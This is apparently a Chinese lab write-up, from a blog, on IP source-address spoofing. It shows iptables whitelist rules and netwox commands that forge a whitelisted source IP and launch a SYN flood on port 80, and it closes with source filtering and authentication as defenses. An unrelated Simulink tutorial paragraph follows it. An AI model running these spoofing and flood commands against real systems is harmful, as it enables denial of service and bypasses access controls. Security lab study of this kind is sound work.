从入门到入土:IP源地址欺骗dos攻击实验

本文详述了一次IP源地址欺骗的DOS攻击实验,旨在理解源地址伪造原理及防御方法。实验中,攻击机利用Netwox工具,通过伪造IP绕过靶机防火墙,实施SYN Flood攻击。防御措施包括在网关或防火墙进行源IP过滤,并采用加密认证技术。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出。欢迎各位前来交流。(部分材料来源网络,若有侵权,立即删除)
本人博客所有文章纯属学习之用,不涉及商业利益。不合适引用,自当删除!
若被用于非法行为,与我本人无关

实验目的

  • 理解IP源地址攻击概念
  • 掌握源地址伪造的原理和防御方法
  • 掌握Netwox等工具使用

实验环境

  • 靶机:seed Ubuntu12.04
  • 攻击机:kali linux 2.0
  • 网络拓扑环境:攻击机和靶机处于同一内网

原理讲解

  • IP协议在设计时只使用数据包中的目标地址进行路由转发,而不对源地址进行真实性的验证。攻击者则会修改IP协议包头,使其包含一个不同的虚假IP地址,而接收到欺骗数据包的计算机则会向假冒的源地址发回响应包。

实验步骤

讲解

  • 攻击节点Kali将利用Netwox软件向Seed节点发起源地址欺骗攻击,实验中将在Seed上设置IP过滤规则,Kali节点只有伪造IP数据包的源地址,才能顺利将数据包发送至Seed节点,而不会被防火墙丢弃

操作

  • 在seed上开启tcpdump监听:
tcpdump -i eth0 tcp port 80 -n -nn

在这里插入图片描述

  • 在Seed节点上设置防火墙规则,构造一个攻击机本身IP无法访问,但存在可访问IP名单的情景
sudo iptables -A INPUT -i eth0 -s 192.168.231.125/32 -j ACCEPT
sudo iptables -A INPUT -i eth0 -s 192.168.100.1/32 -j ACCEPT
sudo iptables -A INPUT -i eth0 -p all -j DROP

在这里插入图片描述
在这里插入图片描述

  • 查看一下当前防火墙状态
iptables -L

在这里插入图片描述

  • 可以看到仅开放了这两个端口
  • 在kali上利用netwox进行IP地址欺骗,伪装成192.168.231.125,突破防火墙限制:
    在这里插入图片描述
  • kali原本地址:192.168.231.135
  • 准备伪造地址:192.168.231.125

在这里插入图片描述

  • 目的IP地址:192.168.231.137
netwox 52 -E "0:1:2:3:4:5" -I "192.168.231.125" -e "00:0c:29:70:83:7e" -i "192.168.231.136"

在这里插入图片描述

  • 记得更换成对于的MAC地址

  • 查看监听终端的情况
    在这里插入图片描述

  • 一直在发包并且成功绕过了防火墙

  • 在seed上分析,通过tcpdump可以看到seed向192.168.231.125返回了数据包,但实际上kali的ip是192.168.231.135;
    在这里插入图片描述

  • syn flood是建立在ip源地址欺骗上的攻击。在kali上通过netwox进行syn泛洪攻击:

netwox 76 -i 192.168.231.137 -p 80
  • 靶机监听结果
    在这里插入图片描述
    -用netstat查看连接情况,在防火墙作用下攻击并未成功
netstat -antu|grep :80

在这里插入图片描述

  • 显然并未攻击成功建立有效的连接
  • 关闭防火墙
iptables -F
iptables -X
iptables -L

在这里插入图片描述

netstat –antu|grep :80
  • 在SYN flood的攻击下,靶机已经卡死了
  • 但是可以确定是攻击成功了

实验总结

  • IP地址欺骗的防御可在网关或防火墙中进行源IP地址过滤,即禁止源地址非本网段地址的数据包发出,从而从源头屏蔽伪造IP源地址的的数据包。
  • 也可以采用基于加密算法的技术来进行身份认证,代替基于IP的信任策略。

end

Simulink是一款强大的仿真工具,用于设计、模拟和分析各种系统的行为。下面是一个从入门入土的Simulink仿真教程。 1. 软件安装:首先需要下载和安装Simulink软件。在MathWorks官方网站上找到适合的版本,并按照指示进行安装。 2. Simulink基础:打开Simulink后,可以看到一个模块化的仿真环境。了解基本的Simulink界面、工具栏和库,这些是使用Simulink进行仿真的基础。 3. 模型建立:使用Simulink可以通过将各种模块组合在一起来建立模型。通过从库中拖拽模块到仿真界面,使用线连接相应的模块,可以构建出一个完整的系统模型。 4. 参数设置:对于每个模块,都可以设置相应的参数。这些参数可根据需要进行调整,以便模型可以更准确地模拟真实系统的行为。 5. 信号输入:创建一个仿真的关键是提供输入信号。可以通过添加信号源模块来生成不同类型的输入信号,如恒定值、正弦波、脉冲等。 6. 仿真运行:配置好模型和输入信号后,可以点击运行按钮开始仿真。仿真结果将在仿真器窗口中显示,此时可以观察系统的行为。 7. 结果分析:Simulink提供了多种工具用于分析仿真结果。可以绘制输出信号的波形图,计算系统的响应时间、频率响应等。 8. 优化改进:根据分析结果,可以调整模型参数以改进系统的性能。这包括调整模块参数、修改模型结构等。 9. 进阶功能:通过进一步学习和实践,还可以掌握更高级的Simulink功能,如使用MATLAB脚本进行仿真、使用状态流图进行建模等。 10. 深入学习:要真正掌握Simulink,需要不断深入学习和实践。可以参考Simulink的官方文档、视频教程和论坛,以及阅读相关书籍。 总之,通过上述步骤,您可以从入门入土地掌握Simulink的基本原理和使用方法,能够进行各种系统模型的建立和仿真。但记住,Simulink只是一个工具,对于真正理解和解决复杂系统问题,还需要深入学习掌握相关的系统理论和建模方法。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值